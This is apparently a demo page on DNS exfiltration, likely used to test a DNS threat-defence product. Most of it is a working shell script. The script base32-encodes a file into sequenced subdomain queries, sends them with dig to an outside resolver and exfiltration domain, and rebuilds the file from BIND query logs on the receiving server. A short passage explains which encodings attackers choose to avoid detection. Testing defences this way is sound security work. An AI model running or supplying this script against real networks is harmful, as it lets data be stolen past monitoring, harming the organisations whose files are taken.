Table of Contents

DNS Exfiltration Demo

Guide here

Base64

Base64. Contains uppercase letters and defaults to allowing = and / etc. This is not recommended as it can make it easier to detect attacks as 'normal' DNS doesn't use these. Use Base32 instead.

However, Base32 isn't available natively in many scripting toolsets. Base64 is. So some attackers use Base64 to avoid having to write their own Base32 conversion code.

Simple Exfiltration

Note that the BIND logs will be approximately 17 times the size of the transferred file.

Note that this is actually two scripts as the last few commands are to be run on the DNS auth server to decrypt the logs.

# File to be exfiltrated
SOURCE=/home/name/dns_exfil_test/file.pdf

# 
ENCRYPTED=/home/name/dns_exfil_test/encryptedpdf.txt
ENCRYPTED2=/home/name/dns_exfil_test/decryptedpdf.txt

# SLD of exfiltration domain
DOMAIN=ferrety-solutions.com

# sub-domain off SLD that we change for every file
SUBDOM=asdf

# Target DNS server (e.g. NIOS with DFP or BloxOne Host)
# Public IP is the BloxOne Threat Defense IP address
#LOCALDNS=192.168.11.154
LOCALDNS=52.119.41.100

# Log file that the DNS queries can be found in on the authoritative DNS server
BIND_LOG_FILE=/var/log/named/query.log

# File to put the decrypted, received file into (should be a replica of SOURCE)
DECRYPTEDOUTPUT=/home/name/dns_exfil_test/file2.pdf


# Encrypt source file into Base32
# then split into strings of 32 characters each. 
# Then suffix on the domain to query.
# Then add the line number to the start of each line (i.e. put a sequence number on each query)
# Then replace the whitespace at the start of each line with nothing (i.e remove it)
# Then replace the TAB between the number and domain with a "."
base32 $SOURCE | tr -d '\n' | fold -62 | sed -e "s/$/.$SUBDOM.$DOMAIN/" | nl | sed s/^' '*//g | sed "s/\\t/./g" > $ENCRYPTED

# The result is a file that contains a huge list of FQDN's for us to query (exfiltrate)

# Exfiltrate the file with DIG.
dig +short A @$LOCALDNS -f $ENCRYPTED


# Delay if required.
#for i in $(cat $ENCRYPTED); do dig +short A @$LOCALDNS $i;sleep 0.1 ;done


## The following commands get run on the command auth DNS server.
# Parse DNS Server logs
# Then limit the scope just the queries associated with the SUBDOM that we set (i.e. ignore all the other random stuff we get/ignore any other exfiltration tasks running).
# Then extract just the FQDN query itself
# Then strip the ( character
# Then strip the ): character
# Put the output into ENCRYPTED2 (i.e the DNS server's copy of the encrypted file.
cat $BIND_LOG_FILE | grep $SUBDOM.$DOMAIN | awk -F " " '{print $8}' | sed s/\(//g | sed s/\)://g > $ENCRYPTED2

# Take the ENCRYPTED2 file
# Then stip off the DOMAIN bit of the data.
# Then sort the output as sometimes queries come in on the wrong order.
# remove duplicate queries (BloxOne Threat Defense seems to duplicate stuff a bit).
# Then strip out the new line character to so we just have a bunch of Base32 code.
# Then convert Base32 back to normal file.
Convert back from Base32 and recreate original file.
cat $ENCRYPTED2 | sed "s/.$SUBDOM.$DOMAIN//g" | sort | uniq | tr -d '\n' | base32 --decode > $DECRYPTEDOUTPUT